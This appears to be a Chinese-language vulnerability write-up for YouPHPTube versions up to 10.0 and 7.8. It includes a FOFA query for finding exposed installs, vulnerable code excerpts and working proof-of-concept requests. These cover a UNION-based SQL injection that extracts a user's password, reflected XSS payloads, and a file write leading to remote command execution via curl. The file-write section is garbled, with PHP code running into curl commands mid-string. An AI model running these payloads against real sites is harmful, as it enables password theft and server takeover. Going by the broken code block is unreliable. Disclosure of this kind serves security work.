YouPHPTube <= 10.0 and 7.8 多个漏洞 SQL注入、XSS、文件写入

# YouPHPTube <= 10.0 and 7.8 多个漏洞 SQL注入、XSS、文件写入 YouPHPTube是一个开源的视频共享网站应用。使用YouPHPTube，用户可以创建自己的视频共享网站，YouPHPTube 将帮助用户导入和编码来自Youtube，Vimeo 等其他网站的视频，用户可以直接在自己的网站上进行分享。 除了XSS  其它都需要进行身份验证...文件写入需要管理员权限.. **FOFA：** ``` app="AVideo-YouPHPTube" ``` **1.sql注入：** 漏洞代码： ```sql $sql .= " AND (c.clean_name = '{$_GET['catName']}' OR c.parentId IN (SELECT cs.id from categories cs where cs.clean_name = '{$_GET['catName']}' ))"; ``` **PoC：** ``` GET /feed/?catName=%5c HTTP/1.1 [...] ``` 10.0版本： ```bash GET /feed/?catName=) +UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31, (select+password+from+users+limit+0,1),33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,5 0,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78%23%5c 3/6 HTTP/1.1 [...] HTTP/1.1 200 OK […]

7.8版本：

“`sql
GET /youphptube/YouPHPTube-master/feed/?catName=)
+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29

[…]
HTTP/1.1 200 OK
[…]

[…]
“`

**2.XSS跨站脚本**

漏洞代码：

“`
print isset($_GET[‘redirectUri’]) ? $_GET[‘redirectUri’] : “”;
“`

**PoC：**

“`
http:///signUp?redirectUri=%22%3E%3Cscript%3Ealert(111)%3C%2fscript%3E
“`

“`
http:///plugin/Live/?u=%3Cscript%3Ealert(66)%3C%2fscript%3E
“`

**3.文件写入导致的代码执行：**

漏洞代码：

“`php
$file = $dir.strtolower($_POST[‘flag’]).”.php”;
$myfile = fopen($file, “w”) or die(“Unable to open file!”);
if (!$myfile) {
$obj->status = 0;
$obj->error = __(“Unable to open file!”);
die(json_encode($obj));
}
$txt = “/locale/save.php’ -H ‘Cookie:09b9117edc20bc1c555739155c0eb1bd=9jpn05830lp2f7s9atqbs9kbc1;’ –data ‘flag=testfile2&code=system(id);’

$ curl -kis ‘http:///locale/testfile2.php’ -H ‘Cookie:09b9117edc20bc1c555739155c0eb1bd=9jpn05830lp2f7s9atqbs9kbc1;’
